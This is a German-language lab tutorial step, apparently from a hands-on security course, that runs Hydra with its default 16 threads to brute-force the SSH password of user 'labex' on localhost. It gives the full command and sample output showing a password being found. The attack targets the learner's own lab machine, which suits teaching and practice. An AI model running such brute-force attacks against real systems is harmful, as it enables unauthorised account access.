Hydra mit Standard-16 Threads ausführen
In diesem Schritt verwenden Sie Hydra, um zu versuchen, das Passwort für den Benutzer labex auf Ihrem SSH-Server zu knacken. Sie beginnen mit Hydras Standard-Threadanzahl von 16.
Die Passwortsliste wurde bereits während des Einrichtungsprozesses heruntergeladen. Die Datei ~/project/password.txt enthält die unix_passwords.txt-Wortliste aus dem Metasploit-Framework, die Hunderte gängiger Unix-Passwörter umfasst. Diese größere Wortliste bietet eine bessere Demonstration der Unterschiede in der Threadleistung im Vergleich zu einer kleinen manuellen Liste.
Sie können die Verfügbarkeit der Passwortsliste überprüfen und deren Größe prüfen:
ls -la ~/project/password.txt
wc -l ~/project/password.txt
Dies zeigt Ihnen die Dateidetails und die Anzahl der Passwörter in der Wortliste (sollten mehrere Hundert Einträge sein).
Führen Sie nun den Hydra-Befehl aus. Die Option -l gibt den Benutzer an, der angegriffen werden soll (labex), -P gibt den Pfad zu Ihrer Passwortsliste an (~/project/password.txt), und -V aktiviert den ausführlichen Modus, um jeden Versuch anzuzeigen. ssh://localhost gibt an, dass Sie den SSH-Dienst auf dem lokalen Rechner angreifen.
hydra -V -l labex -P ~/project/password.txt ssh://localhost
Hydra beginnt nun, sich mit jedem Passwort in Ihrer Datei password.txt anzumelden. Da Sie die Option -t nicht angegeben haben, verwendet Hydra seine Standardeinstellung von 16 Threads, d. h. es versucht 16 Passwortversuche gleichzeitig. Die Flagge -V zeigt Ihnen jeden Versuch in Echtzeit an.
Wichtiger Hinweis zur Flagge -V:
Der Parameter -V (ausführlich) ist entscheidend, um den Angriffsprozess zu beobachten. Ohne ihn zeigt Hydra nur zusammengefasste Informationen und das Endergebnis an, aber Sie sehen nicht die einzelnen Zeilen [ATTEMPT], die jedes getestete Passwort anzeigen. Dieser ausführliche Output hilft Ihnen zu verstehen, wie sich die Threading auf die Angriffsgeschwindigkeit und -muster auswirkt.
Sie sehen eine Ausgabe ähnlich dieser, während Hydra fortschreitet:
Hydra vX.Y (c) YYYY by van Hauser/THC - Use freely but only for legal purposes.
Hydra starting at YYYY-MM-DD HH:MM:SS
[DATA] max 16 tasks per 1 server, overall 16 tasks, XXX login tries (l:1/p:XXX), ~XX tries per task
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost - login: labex - pass: !@#$%
[ATTEMPT] target: localhost - login: labex - pass: !@#$%^
[ATTEMPT] target: localhost - login: labex - pass: 000000
...
[22][ssh] host: localhost login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
Hydra finished at YYYY-MM-DD HH:MM:SS
Mit der größeren Wortliste werden Sie feststellen, dass Hydra länger braucht, um das richtige Passwort zu finden, wodurch die Unterschiede in der Threadanzahl deutlicher werden. Beachten Sie die Zeitinformationen, die Hydra liefert, wenn der Vorgang abgeschlossen ist.